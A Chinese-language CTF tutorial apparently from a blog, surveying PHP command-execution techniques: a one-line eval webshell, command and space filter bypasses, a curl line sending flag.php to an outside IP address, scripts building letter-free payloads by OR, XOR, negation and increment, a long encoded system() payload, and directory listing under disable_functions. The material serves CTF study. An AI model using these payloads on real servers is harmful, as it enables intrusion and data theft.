总结一下PHP中命令执行的方法,把知识点汇成一个体系,Work hard!
什么是命令执行漏洞?
以php为例,产生该漏洞的原因就是系统在某个点调用了可以执行命令的函数,如eval,system,特殊(include)等,这些函数的参数用户可控,进而黑客可以执行一些对系统有威胁的命令,如获取敏感文件、删除信息等,进而危害到系统。其他语言如java、python也是如此。
在CTF比赛中,命令执行一直作为一个常见的考点,初学者应牢牢掌握此考点。
初识命令执行
从一句话木马开始
| <?php eval($_POST['a'];);?>
|
初学者一般会看到这个函数,最开始对代码没有了解的情况下,直接去看wp,会告诉你用蚁剑或者菜刀连接,连上之后我们会发现直接可以查看服务器上的所有文件了,那么这种究竟是什么原理呢?
eval,即执行命令的函数,(在php中与之相近的有assert,这个之后进行总结)可以执行POST传入的东西,而$_POST为一个数组,类似于python中的字典,java中的map,其中储存的是键名和键值,在php环境中,可以直接传参,然后数据就会被储存进该数组中,在上面代码中仅仅是把键名为a的值取出来执行而已。
而我们常用的蚁剑,菜刀等工具,就是通过给$_POST数组中的数据传输他们已经写好的命令,然后根据所返回的值,去模拟终端,模拟文件管理器。
我们如何利用命令执行
1
| <?php eval($_POST['a'];);?>
|
通常来说,我们如果看到上述命令就可以直接去利用,可以用蚁剑菜刀连接,但是这是个人都能做,出题人不会这么直接给你送分,所以一般要整些活,那么都会整什么活呢?
一般来说,出题者让我们执行的命令通常有两种,一种是系统命令,一种是php的命令,而系统命会包含在php命令里,因为系统命令的执行也是通过调用php函数system等来执行的。
常见的系统命令执行函数绕过
最开始通常会过滤一些linux命令,如cat,等等,这时候就需要我们用一些小技巧去绕过了,如命令代替,LInux下通配符的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| cat 替代品 tac tail nl less more ca\t (用反斜杠去截断过滤 ) ca''t(用双引号截断过滤)
空格 替代品 < ${IFS} $IFS$9 %09 %0a linux下空格绕过 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg cat%09flag.php
cat `ls`
cp fla?.php 1.txt访问1.txt
利用变量绕过a=l;b=s;$a$b
|
用curl外带flag
1 2 3
| nc -lnvp 7499 curl -F "XX=@flag.php" -X POST http://119.91.92.171:7499 适用于无回显时执行命令 如shell_exec 等
|
利用环境变量拼接
常见的php命令执行绕过
首先看到一个eval函数肯定是要想执行系统命令的,php所有可以用来执行系统命令的函数如下
1 2 3 4 5 6 7 8
| system() shell_exec() exec() passthru() popen() 形式上还有 `cmd` (即利用反引号执行命令) 值得注意的是除了system和passthru没有返回值,即执行命令后的结果不会出现,这时候就需要用到之前讲绕过时候说的利用curl去外带flag
|
php命令执行通常有两种过滤
方式一,用正则表达式进行过滤
1 2 3 4 5 6 7 8 9 10 11 12
| 案例一(非常经典) 无字符数字Rce <?php $cmd=$_POST['cmd']; if(preg_match("/[A-Za-z0-9]/",$cmd)){
die("还想输入数字字符?做梦呢?"); } else { eval($cmd); } highlight_file(__FILE__);
|
代码非常简单,传入一个参数,判断其中是否有字符,如果有A-Z a-z 0-9字符,那就die,如果没有,那就执行命令
乍一看这好像是个无解的题,那么如何去绕过过滤呢,这就要提到eval的一些特性了(system等不具备,因为他们执行的不是php的命令)
eval即把传入的参数作为php命令执行,支持语法的嵌套,即可执行多个命令,那么我们是不是可以传入一些没有被过滤的字符然后通过一些变换,使之转换成我们想要使用的字符,然后再让eval去执行他呢?答案是可以的
php中有三个符号可以进行变换字符,
分别是“~”(取反) “^”(异位) |(或) ^(与) (++)自增,可以把这三种当做特殊的函数去看待,
或
demo
只要传入时把其放在两个字符串中间,其就可以执行,这时候我们就可以写一个小脚本去爆破了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
$cmd='system'; function pass_waf($waf){ $str=[]; for($i=0;$i<=127;$i++){ if (!preg_match(($waf),chr($i))){ array_push($str,$i); } } return $str; }
$str1=pass_waf("/[A-Za-z0-9]/"); $str2=pass_waf("/[A-Za-z0-9]/");
foreach($str1 as $v1){ foreach($str2 as $v2){ echo (chr($v1)|chr($v2)); echo " "; echo (urlencode(chr($v1))); echo "|"; echo (urlencode(chr($v2))); echo "<br>"; } }
|
对生成的结果进行拼接即可 如想执行phpinfo
1 2
| cmd=("%10%28%10%29%0E%06%0f"|"%60%60%60%60%60%60%60")();即可 在php7下可以用 因为php支持动态执行函数 即('phpinfo')();可以被当做命令执行
|
取反
1 2 3 4 5
| 这个比较简单 echo urlencode(~'phpinfo'); %8F%97%8F%96%91%99%90 cmd=(~'%8F%97%8F%96%91%99%90')(); 这里需要提前url编码一下,因为取反之后输出的都是乱码字符,如果直接复制上去,可能会出问题。
|
异位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 这个和或是同理的 改下上面的脚本在进行拼接即可 <?php $cmd='system'; function pass_waf($waf){ $str=[]; for($i=0;$i<=127;$i++){ if (!preg_match(($waf),chr($i))){ array_push($str,$i); } } return $str; }
$str1=pass_waf("/[A-Za-z0-9]/"); $str2=pass_waf("/[A-Za-z0-9]/");
foreach($str1 as $v1){ foreach($str2 as $v2){ echo (chr($v1)^chr($v2)); echo " "; echo (urlencode(chr($v1))); echo "^"; echo (urlencode(chr($v2))); echo "<br>"; } } payload:cmd=("%5b%5b%5b%5b%5b%5b%5b"^"%2b%13%2b%12%15%1d%14")(); 同样,这种方法只适用于php7
|
自增
就和c语言一样,php也可以自增,可以利用该特性理论上获取任何字符
有的人这时候可能会有疑问了,不是把所有字母都给过滤了吗?那如何得到A呢?
可能大家会对这段代码有点疑问,我解释一下
1 2 3 4 5 6
| $_=[]; $_="$_"; $_=$_[0];利用索引获得A的第一个值 echo $_; 有时候会把数字也过滤了,那就可以利用 $_=$_['#'=='!'];这种形式来代替0
|
直接上一个写好的payload
1 2 3 4
| cmd=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24 ___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2 B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__% 2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%2 4__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24_ _%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24 __%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24_ _%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B %24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2 B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B% 24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B %3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2 B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24 ___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__% 2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%2 4__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B% 3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%2 4__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B% 3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B %2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B% 3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B %2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24_ _%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D% 24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24_ _%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B %24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2 B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%2 4_%5B_%5D)%3B &_=system('cat flag.php');
|
重点: 此payload可用于php5的rce里,从而并非像p牛所说的,php5只能用include去rce
方式二、用disabled_function的方式限制函数
这就要从根源说起了,在php.ini里通常会有一个配置,来禁用函数,通常会把执行系统命令的函数给ban了,这时候有两种思路
利用php自身函数去读文件
例如题目给了flag在/flag里面,现在想要去读文件,那咋整?php也有许多自身函数可以去读,例如highlight_file(),show_source(),都可以用来读文件,那如果不知道flag在哪怎么办?还有方法
1 2 3 4 5 6 7 8
| cmd= $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); 可以写一个小poc脚本上去扫目录 然后去读就行
|
绕过攻击
参考
然后然后可以用suid去提权
https://www.freebuf.com/articles/web/272617.html